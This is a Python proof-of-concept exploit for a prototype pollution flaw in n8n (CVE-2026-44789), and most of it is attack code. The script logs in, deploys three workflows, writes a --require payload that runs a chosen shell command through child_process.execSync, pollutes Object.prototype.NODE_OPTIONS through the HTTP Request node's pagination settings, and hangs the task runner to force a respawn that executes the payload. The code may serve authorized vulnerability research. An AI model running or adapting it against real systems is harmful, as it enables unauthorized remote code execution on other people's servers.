#!/usr/bin/env python3 """ CVE-2026-44789 - n8n < 1.123.43 - HTTP Request node pagination Prototype Pollution -> RCE An authenticated workflow creator pollutes Object.prototype in the n8n *server* process through the HTTP Request node's pagination settings, then escalates to OS command execution by abusing how n8n (re)spawns its task runner. Primitive (packages/nodes-base/nodes/HttpRequest/V3/HttpRequestV3.node.ts): paginationData.request[parameter.type]![parameterName] = parameterValue; With parameter.type = "__proto__", this assigns onto Object.prototype globally. Gadget (packages/cli/src/task-runners/task-runner-process-js.ts): spawn('node', [...flags, startScript], { env: this.getProcessEnvVars(...) }); Node's normalizeSpawnArguments iterates `for (key in env)`, which includes inherited properties. Polluting Object.prototype.NODE_OPTIONS = "--require=" therefore leaks into the spawned runner's environment -> the runner `node` process executes at startup -> RCE, bypassing the Code-node sandbox. The runner is spawned at startup; the lifecycle re-spawns it on exit, so the attacker forces a respawn (after polluting) with a Code node that hangs/OOMs the runner. Chain implemented here (single authenticated session, against a runners-enabled instance): 1. write the --require payload to disk via the Read/Write Files node; 2. pollute Object.prototype.NODE_OPTIONS via the HTTP Request node; 3. crash the task runner via a Code node -> it respawns with the leaked NODE_OPTIONS. Author: Caio Fabricio (BiiTts) - https://github.com/BiiTts For authorized security testing only. """ import argparse import json import sys import time import urllib.error import urllib.request class N8n: def __init__(self, base): self.base = base.rstrip("/") self.cookie = "" def _req(self, path, data=None, method=None): h = {"Content-Type": "application/json"} if self.cookie: h["Cookie"] = self.cookie r = urllib.request.Request( self.base + path, data=json.dumps(data).encode() if data is not None else None, headers=h, method=method or ("POST" if data is not None else "GET"), ) try: resp = urllib.request.urlopen(r, timeout=60) sc = resp.headers.get_all("Set-Cookie") or [] return resp.status, resp.read().decode(), sc except urllib.error.HTTPError as e: return e.code, e.read().decode(), [] def auth(self, email, password): # first-run owner setup is a no-op if the instance is already initialised for _ in range(8): self._req("/rest/owner/setup", {"email": email, "firstName": "a", "lastName": "b", "password": password}) st, _, sc = self._req("/rest/login", {"emailOrLdapLoginId": email, "password": password}) if st == 200 and sc: self.cookie = "; ".join(c.split(";")[0] for c in sc) return self time.sleep(2) raise SystemExit("[!] login failed - supply valid --user/--password for an initialised instance") def deploy(self, name, nodes, connections): wf = {"name": name, "active": False, "nodes": nodes, "connections": connections, "settings": {}} st, body, _ = self._req("/rest/workflows", wf) if st != 200: raise SystemExit(f"[!] workflow create failed ({st}): {body[:160]}") wid = json.loads(body)["data"]["id"] self._req(f"/rest/workflows/{wid}", {"active": True}, "PATCH") return wid def fire(self, path, timeout=30): try: urllib.request.urlopen(self.base + "/webhook/" + path, data=b"{}", timeout=timeout) except Exception: pass def hook(path, wid): return {"parameters": {"path": path, "httpMethod": "POST", "responseMode": "onReceived"}, "type": "n8n-nodes-base.webhook", "typeVersion": 2, "position": [200, 300], "name": "Hook", "webhookId": wid} def main(): ap = argparse.ArgumentParser(description="CVE-2026-44789 n8n prototype pollution -> RCE") ap.add_argument("target", help="n8n base URL, e.g. http://127.0.0.1:5678") ap.add_argument("-u", "--user", default="admin@pp.local") ap.add_argument("-p", "--password", default="Sup3rPass1") ap.add_argument("-c", "--cmd", default="id; hostname", help="command to run on the n8n host") ap.add_argument("--evil", default="/tmp/evil.js", help="path for the --require payload on the target host") args = ap.parse_args() safe = args.cmd.replace("\\", "\\\\").replace('"', '\\"') evil_js = f'require("fs").writeFileSync("/tmp/n8n_rce_proof","RCE "+require("child_process").execSync("{safe}").toString());' n = N8n(args.target).auth(args.user, args.password) print(f"[*] authenticated to {args.target}") # IMPORTANT: deploy ALL workflows BEFORE polluting. Once Object.prototype.NODE_OPTIONS is set, # n8n's TypeORM persistence enumerates the polluted key and workflow CRUD starts failing, so the # crash workflow could no longer be created. Webhook *execution* still works after pollution. # writer: Set -> Convert to File -> Read/Write Files (drops the --require payload to disk) setn = {"parameters": {"assignments": {"assignments": [ {"id": "1", "name": "data", "value": evil_js, "type": "string"}]}}, "type": "n8n-nodes-base.set", "typeVersion": 3.4, "position": [450, 300], "name": "Set"} tofile = {"parameters": {"operation": "toText", "sourceProperty": "data", "binaryPropertyName": "f"}, "type": "n8n-nodes-base.convertToFile", "typeVersion": 1.1, "position": [650, 300], "name": "ToFile"} write = {"parameters": {"operation": "write", "fileName": args.evil, "dataPropertyName": "f"}, "type": "n8n-nodes-base.readWriteFile", "typeVersion": 1, "position": [850, 300], "name": "Write"} n.deploy("w", [hook("ppwrite", "ppwrite"), setn, tofile, write], {"Hook": {"main": [[{"node": "Set", "type": "main", "index": 0}]]}, "Set": {"main": [[{"node": "ToFile", "type": "main", "index": 0}]]}, "ToFile": {"main": [[{"node": "Write", "type": "main", "index": 0}]]}}) # polluter: HTTP Request node with pagination type "__proto__" -> Object.prototype.NODE_OPTIONS http = {"parameters": {"url": args.target.rstrip("/") + "/healthz", "method": "GET", "options": {"pagination": {"pagination": { "paginationMode": "updateAParameterInEachRequest", "parameters": {"parameters": [ {"type": "__proto__", "name": "NODE_OPTIONS", "value": f"--require={args.evil}"}]}, "paginationCompleteWhen": "receiveSpecificStatusCodes", "statusCodesWhenComplete": "200", "requestInterval": 0, "limitPagesFetched": True, "maxRequests": 1}}}}, "type": "n8n-nodes-base.httpRequest", "typeVersion": 3, "position": [450, 300], "name": "HTTP Request", "onError": "continueRegularOutput"} n.deploy("p", [hook("pppoll", "pppoll"), http], {"Hook": {"main": [[{"node": "HTTP Request", "type": "main", "index": 0}]]}}) # crasher: a Code node that hangs the runner -> task timeout kills it -> lifecycle respawns it boom = {"parameters": {"jsCode": "while(true){}"}, "type": "n8n-nodes-base.code", "typeVersion": 2, "position": [450, 300], "name": "Boom", "onError": "continueRegularOutput"} n.deploy("b", [hook("ppboom", "ppboom"), boom], {"Hook": {"main": [[{"node": "Boom", "type": "main", "index": 0}]]}}) print("[*] deployed writer / polluter / crasher workflows") # Ordering matters: the pollution breaks execution persistence, so the runner must already be # hung BEFORE we pollute. Then the hung runner times out and the main process respawns it with # the (by-then) polluted NODE_OPTIONS in its inherited environment. n.fire("ppwrite") print(f"[*] step 1: wrote --require payload to {args.evil} (via Read/Write Files node)") n.fire("ppboom", timeout=4) # responseMode onReceived returns immediately; Code node hangs the runner print("[*] step 2: dispatched a hanging task -> runner is now busy") time.sleep(2) n.fire("pppoll") # HTTP node runs in the MAIN process -> pollutes Object.prototype.NODE_OPTIONS print("[*] step 3: polluted Object.prototype.NODE_OPTIONS = --require=" + args.evil) print("[*] waiting for the hung runner to time out, be respawned, and inherit NODE_OPTIONS ...") time.sleep(20) print(f"[+] done. Check the target: cat /tmp/n8n_rce_proof (command: {args.cmd!r})") print(" If empty, lower N8N_RUNNERS_TASK_TIMEOUT or re-fire /webhook/ppboom to force the respawn.") if __name__ == "__main__": sys.exit(main())